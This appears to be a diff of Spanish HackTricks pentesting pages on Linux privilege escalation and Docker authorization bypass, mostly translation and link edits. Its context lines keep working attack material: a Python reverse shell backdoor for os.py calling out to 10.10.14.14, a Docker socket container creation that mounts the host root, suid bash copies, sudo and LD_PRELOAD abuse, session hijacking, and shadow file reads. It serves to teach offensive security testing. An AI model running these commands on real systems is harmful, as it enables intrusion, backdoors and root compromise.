@ -510,7 +510,7 @@ En casos donde el CLI de Docker no está disponible, el socket de Docker aún pu
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
```
|
||||
|
||||
2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host.
|
||||
2. **Crear un Contenedor:** Envía una solicitud para crear un contenedor que monta el directorio raíz del sistema host.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
@ -536,7 +536,7 @@ Después de configurar la conexión `socat`, puedes ejecutar comandos directamen
|
||||
|
||||
### Otros
|
||||
|
||||
Ten en cuenta que si tienes permisos de escritura sobre el socket de docker porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/#docker-group). Si la [**API de docker está escuchando en un puerto** también puedes comprometerla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Ten en cuenta que si tienes permisos de escritura sobre el socket de docker porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/index.html#docker-group). Si la [**API de docker está escuchando en un puerto** también puedes comprometerla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Consulta **más formas de salir de docker o abusar de él para escalar privilegios** en:
|
||||
|
||||
@ -564,11 +564,11 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de manera eficiente. Diseñado con el sistema Linux moderno en mente, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones.
|
||||
|
||||
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
|
||||
El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda a transmitir eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos.
|
||||
|
||||
D-Bus opera bajo un **modelo de permitir/negar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
|
||||
D-Bus opera bajo un **modelo de permitir/negar**, gestionando permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos.
|
||||
|
||||
Un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf` se proporciona, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
|
||||
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Las políticas sin un usuario o grupo especificado se aplican de manera universal, mientras que las políticas de contexto "predeterminadas" se aplican a todos los que no están cubiertos por otras políticas específicas.
|
||||
```xml
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Algunas versiones de Linux se vieron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Algunas versiones de Linux fueron afectadas por un error que permite a los usuarios con **UID > INT_MAX** escalar privilegios. Más información: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Explotarlo** usando: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -681,7 +681,7 @@ fi
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
### Contraseñas conocidas
|
||||
### Conocidas contraseñas
|
||||
|
||||
Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña.
|
||||
|
||||
@ -714,13 +714,13 @@ less>! <shell_comand>
|
||||
```
|
||||
### NOPASSWD
|
||||
|
||||
La configuración de Sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
|
||||
La configuración de Sudo puede permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña.
|
||||
```
|
||||
$ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell al agregar una clave ssh en el directorio raíz o al llamar a `sh`.
|
||||
En este ejemplo, el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener un shell añadiendo una clave ssh en el directorio raíz o llamando a `sh`.
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
@ -769,25 +769,25 @@ Esta técnica también se puede utilizar si un **suid** binario **ejecuta otro c
|
||||
|
||||
### Binario SUID con ruta de comando
|
||||
|
||||
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** con el mismo nombre que el comando que el archivo suid está llamando.
|
||||
Si el **suid** binario **ejecuta otro comando especificando la ruta**, entonces, puedes intentar **exportar una función** llamada como el comando que el archivo suid está llamando.
|
||||
|
||||
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
```
|
||||
Entonces, cuando llamas al binario suid, esta función será ejecutada
|
||||
Entonces, cuando llamas al binario suid, esta función se ejecutará
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca.
|
||||
|
||||
Sin embargo, para mantener la seguridad del sistema y prevenir que esta característica sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
|
||||
Sin embargo, para mantener la seguridad del sistema y prevenir que esta función sea explotada, particularmente con ejecutables **suid/sgid**, el sistema impone ciertas condiciones:
|
||||
|
||||
- El cargador ignora **LD_PRELOAD** para ejecutables donde el ID de usuario real (_ruid_) no coincide con el ID de usuario efectivo (_euid_).
|
||||
- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también son suid/sgid.
|
||||
|
||||
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que puede llevar a la ejecución de código arbitrario con privilegios elevados.
|
||||
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la declaración **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando se ejecutan comandos con `sudo`, lo que potencialmente lleva a la ejecución de código arbitrario con privilegios elevados.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID Binary – .so injection
|
||||
|
||||
Al encontrar un binario con permisos **SUID** que parece inusual, es una buena práctica verificar si está cargando archivos **.so** correctamente. Esto se puede comprobar ejecutando el siguiente comando:
|
||||
Cuando se encuentra un binario con permisos **SUID** que parece inusual, es una buena práctica verificar si está cargando archivos **.so** correctamente. Esto se puede comprobar ejecutando el siguiente comando:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -892,7 +892,7 @@ eso significa que la biblioteca que has generado necesita tener una función lla
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
|
||||
[**GTFOBins**](https://gtfobins.github.io) es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir restricciones de seguridad locales. [**GTFOArgs**](https://gtfoargs.github.io/) es lo mismo pero para casos donde solo puedes **inyectar argumentos** en un comando.
|
||||
|
||||
El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, generar shells bind y reverse, y facilitar otras tareas de post-explotación.
|
||||
|
||||
@ -998,7 +998,7 @@ zsh
|
||||
echo $PATH
|
||||
sudo ls
|
||||
```
|
||||
## Biblioteca Compartida
|
||||
## Shared Library
|
||||
|
||||
### ld.so
|
||||
|
||||
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Abrir sesiones de shell
|
||||
|
||||
En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\
|
||||
En **versiones más recientes** solo podrás **conectarte** a las sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
|
||||
En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
|
||||
|
||||
### Secuestro de sesiones de pantalla
|
||||
|
||||
@ -1095,11 +1095,11 @@ screen -dr <session> #The -d is to detach whoever is attached to it
|
||||
screen -dr 3350.foo #In the example of the image
|
||||
screen -x [user]/[session id]
|
||||
```
|
||||
## secuestro de sesiones de tmux
|
||||
## secuestro de sesiones tmux
|
||||
|
||||
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
|
||||
|
||||
**Listar sesiones de tmux**
|
||||
**Listar sesiones tmux**
|
||||
```bash
|
||||
tmux ls
|
||||
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
|
||||
@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
||||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
Revisa **Valentine box from HTB** para un ejemplo.
|
||||
Check **Valentine box from HTB** for an example.
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL PRNG predecible - CVE-2008-0166
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc.) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este error.\
|
||||
Este error se produce al crear una nueva clave ssh en esos sistemas operativos, ya que **solo se podían generar 32,768 variaciones**. Esto significa que todas las posibilidades pueden ser calculadas y **teniendo la clave pública ssh puedes buscar la clave privada correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Este error se produce al crear una nueva clave ssh en esos sistemas operativos, ya que **solo se podían generar 32,768 variaciones**. Esto significa que todas las posibilidades se pueden calcular y **teniendo la clave pública ssh puedes buscar la clave privada correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### Valores de configuración interesantes de SSH
|
||||
### SSH Interesting configuration values
|
||||
|
||||
- **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor predeterminado es `no`.
|
||||
- **PubkeyAuthentication:** Especifica si se permite la autenticación por clave pública. El valor predeterminado es `yes`.
|
||||
@ -1151,7 +1151,7 @@ Esa configuración indicará que si intentas iniciar sesión con la **clave priv
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
El reenvío del agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** vía ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
|
||||
El reenvío de agente SSH te permite **usar tus claves SSH locales en lugar de dejar claves** (¡sin frases de contraseña!) en tu servidor. Así, podrás **saltar** a través de ssh **a un host** y desde allí **saltar a otro** host **usando** la **clave** ubicada en tu **host inicial**.
|
||||
|
||||
Necesitas establecer esta opción en `$HOME/.ssh.config` así:
|
||||
```
|
||||
@ -1160,7 +1160,7 @@ ForwardAgent yes
|
||||
```
|
||||
Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad).
|
||||
|
||||
El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\
|
||||
El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\
|
||||
El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir).
|
||||
|
||||
Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**:
|
||||
@ -1177,18 +1177,18 @@ El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts qu
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
Si se encuentra algún script de perfil extraño, debe revisarlo en busca de **detalles sensibles**.
|
||||
Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**.
|
||||
|
||||
### Archivos Passwd/Shadow
|
||||
|
||||
Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puede leer** los archivos para ver **si hay hashes** dentro de los archivos:
|
||||
Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer** los archivos para ver **si hay hashes** dentro de los archivos:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
En algunas ocasiones puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente)
|
||||
En algunas ocasiones, puedes encontrar **password hashes** dentro del archivo `/etc/passwd` (o equivalente).
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
@ -1221,7 +1221,7 @@ Deberías verificar si puedes **escribir en algunos archivos sensibles**. Por ej
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Por ejemplo, si la máquina está ejecutando un **servidor tomcat** y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas:
|
||||
Por ejemplo, si la máquina está ejecutando un **tomcat** server y puedes **modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/,** entonces puedes modificar las líneas:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1235,7 +1235,7 @@ Las siguientes carpetas pueden contener copias de seguridad o información inter
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Ubicaciones extrañas/Archivos en propiedad
|
||||
### Archivos en ubicaciones extrañas/propietarios
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1297,7 +1297,7 @@ Además, algunos registros de **auditoría** **"mal"** configurados (¿con puert
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/#adm-group) será realmente útil.
|
||||
Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil.
|
||||
|
||||
### Archivos de shell
|
||||
```bash
|
||||
@ -1312,16 +1312,16 @@ Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/#adm
|
||||
```
|
||||
### Búsqueda de Credenciales Genéricas/Regex
|
||||
|
||||
También debes buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los registros, o expresiones regulares de hashes.\
|
||||
No voy a enumerar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
|
||||
También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los logs, o expresiones regulares de hashes.\
|
||||
No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
|
||||
|
||||
## Archivos Escribibles
|
||||
|
||||
### Secuestro de bibliotecas de Python
|
||||
|
||||
Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
|
||||
Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
|
||||
|
||||
Para **poner un backdoor en la biblioteca**, simplemente agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
|
||||
Para **poner un backdoor en la biblioteca**, solo agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
@ -1344,9 +1344,9 @@ Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.
|
||||
|
||||
Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-<cualquier cosa>` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **sistema está comprometido**.
|
||||
|
||||
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por el Network Manager (dispatcher.d).
|
||||
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
|
||||
|
||||
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
|
||||
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacio en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
|
||||
|
||||
Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1370,7 +1370,7 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de ser
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escape de Shells restringidos
|
||||
### Escapando de Shells restringidos
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
|
||||
@ -25,7 +25,7 @@ También podrías **abusar de un mount para escalar privilegios** dentro del con
|
||||
- **`-v /tmp:/host`** -> Si por alguna razón solo puedes **montar algún directorio** del host y tienes acceso dentro del host. Móntalo y crea un **`/bin/bash`** con **suid** en el directorio montado para que puedas **ejecutarlo desde el host y escalar a root**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta diferente escribible**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
> Ten en cuenta que tal vez no puedas montar la carpeta `/tmp` pero puedes montar una **carpeta escribible diferente**. Puedes encontrar directorios escribibles usando: `find / -writable -type d 2>/dev/null`
|
||||
>
|
||||
> **¡Ten en cuenta que no todos los directorios en una máquina linux soportarán el bit suid!** Para verificar qué directorios soportan el bit suid ejecuta `mount | grep -v "nosuid"` Por ejemplo, generalmente `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` y `/var/lib/lxcfs` no soportan el bit suid.
|
||||
>
|
||||
@ -33,7 +33,7 @@ También podrías **abusar de un mount para escalar privilegios** dentro del con
|
||||
|
||||
### Escaping from the container
|
||||
|
||||
- **`--privileged`** -> Con este flag [eliminamos toda la aislamiento del contenedor](docker-privileged.md#what-affects). Consulta técnicas para [escapar de contenedores privilegiados como root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
|
||||
- **`--privileged`** -> Con este flag [eliminamos toda la aislamiento del contenedor](docker-privileged.md#what-affects). Consulta técnicas para [escapar de contenedores privilegiados como root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
|
||||
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Para [escalar abusando de capacidades](../linux-capabilities.md), **concede esa capacidad al contenedor** y desactiva otros métodos de protección que puedan impedir que el exploit funcione.
|
||||
|
||||
### Curl
|
||||
|
||||
@ -1,26 +1,26 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
El modelo de **autorización** de **Docker** es **todo o nada**. Cualquier usuario con permiso para acceder al daemon de Docker puede **ejecutar cualquier** comando del cliente de Docker. Lo mismo es cierto para los llamadores que utilizan la API del Engine de Docker para contactar al daemon. Si necesitas **un mayor control de acceso**, puedes crear **plugins de autorización** y agregarlos a la configuración de tu daemon de Docker. Usando un plugin de autorización, un administrador de Docker puede **configurar políticas de acceso granulares** para gestionar el acceso al daemon de Docker.
|
||||
**El modelo de** autorización **de Docker** es **todo o nada**. Cualquier usuario con permiso para acceder al daemon de Docker puede **ejecutar cualquier** comando del cliente de Docker. Lo mismo es cierto para los llamadores que utilizan la API del Engine de Docker para contactar al daemon. Si necesitas **un mayor control de acceso**, puedes crear **plugins de autorización** y agregarlos a la configuración de tu daemon de Docker. Usando un plugin de autorización, un administrador de Docker puede **configurar políticas de acceso granulares** para gestionar el acceso al daemon de Docker.
|
||||
|
||||
# Arquitectura básica
|
||||
|
||||
Los plugins de autenticación de Docker son **plugins externos** que puedes usar para **permitir/negar** **acciones** solicitadas al daemon de Docker **dependiendo** del **usuario** que lo solicitó y de la **acción** **solicitada**.
|
||||
Los plugins de autenticación de Docker son **plugins externos** que puedes usar para **permitir/denegar** **acciones** solicitadas al daemon de Docker **dependiendo** del **usuario** que lo solicitó y de la **acción** **solicitada**.
|
||||
|
||||
**[La siguiente información es de la documentación](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
Cuando se realiza una **solicitud HTTP** al **daemon** de Docker a través de la CLI o mediante la API del Engine, el **sub-sistema de autenticación** **pasa** la solicitud a los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **negar** la solicitud.
|
||||
Cuando se realiza una **solicitud HTTP** al **daemon** de Docker a través de la CLI o mediante la API del Engine, el **subsystema de autenticación** **pasa** la solicitud a los **plugins de autenticación** instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El **plugin** es responsable de decidir si **permitir** o **denegar** la solicitud.
|
||||
|
||||
Los diagramas de secuencia a continuación representan un flujo de autorización de permitir y negar:
|
||||
Los diagramas de secuencia a continuación representan un flujo de autorización de permitir y denegar:
|
||||
|
||||

|
||||
|
||||

|
||||

|
||||
|
||||
Cada solicitud enviada al plugin **incluye el usuario autenticado, los encabezados HTTP y el cuerpo de la solicitud/respuesta**. Solo se pasan al plugin el **nombre de usuario** y el **método de autenticación** utilizado. Lo más importante, **no** se pasan **credenciales** o tokens de usuario. Finalmente, **no todos los cuerpos de solicitud/respuesta se envían** al plugin de autorización. Solo se envían aquellos cuerpos de solicitud/respuesta donde el `Content-Type` es `text/*` o `application/json`.
|
||||
|
||||
Para comandos que pueden potencialmente secuestrar la conexión HTTP (`HTTP Upgrade`), como `exec`, el plugin de autorización solo se llama para las solicitudes HTTP iniciales. Una vez que el plugin aprueba el comando, la autorización no se aplica al resto del flujo. Específicamente, los datos de transmisión no se pasan a los plugins de autorización. Para comandos que devuelven respuestas HTTP en fragmentos, como `logs` y `events`, solo se envía la solicitud HTTP a los plugins de autorización.
|
||||
|
||||
Durante el procesamiento de solicitudes/respuestas, algunos flujos de autorización pueden necesitar realizar consultas adicionales al daemon de Docker. Para completar tales flujos, los plugins pueden llamar a la API del daemon de manera similar a un usuario regular. Para habilitar estas consultas adicionales, el plugin debe proporcionar los medios para que un administrador configure políticas adecuadas de autenticación y seguridad.
|
||||
Durante el procesamiento de solicitudes/respuestas, algunos flujos de autorización pueden necesitar realizar consultas adicionales al daemon de Docker. Para completar tales flujos, los plugins pueden llamar a la API del daemon de manera similar a un usuario regular. Para habilitar estas consultas adicionales, el plugin debe proporcionar los medios para que un administrador configure políticas de autenticación y seguridad adecuadas.
|
||||
|
||||
## Varios Plugins
|
||||
|
||||
@ -30,7 +30,7 @@ Eres responsable de **registrar** tu **plugin** como parte del **inicio** del da
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
El plugin [**authz**](https://github.com/twistlock/authz) te permite crear un archivo **JSON** simple que el **plugin** estará **leyendo** para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy fácilmente qué puntos finales de la API pueden alcanzar a cada usuario.
|
||||
El plugin [**authz**](https://github.com/twistlock/authz) te permite crear un archivo **JSON** simple que el **plugin** estará **leyendo** para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy fácilmente qué endpoints de API pueden alcanzar a cada usuario.
|
||||
|
||||
Este es un ejemplo que permitirá a Alice y Bob crear nuevos contenedores: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
@ -46,7 +46,7 @@ Lee el `README` y el código de `plugin.go` para entender cómo funciona.
|
||||
|
||||
## Enumerar acceso
|
||||
|
||||
Las principales cosas a verificar son **qué puntos finales están permitidos** y **qué valores de HostConfig están permitidos**.
|
||||
Las principales cosas a verificar son **qué endpoints están permitidos** y **qué valores de HostConfig están permitidos**.
|
||||
|
||||
Para realizar esta enumeración puedes **usar la herramienta** [**https://github.com/carlospolop/docker_auth_profiler**](https://github.com/carlospolop/docker_auth_profiler)**.**
|
||||
|
||||
@ -58,7 +58,7 @@ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubunt
|
||||
```
|
||||
### Ejecutando un contenedor y luego obteniendo una sesión privilegiada
|
||||
|
||||
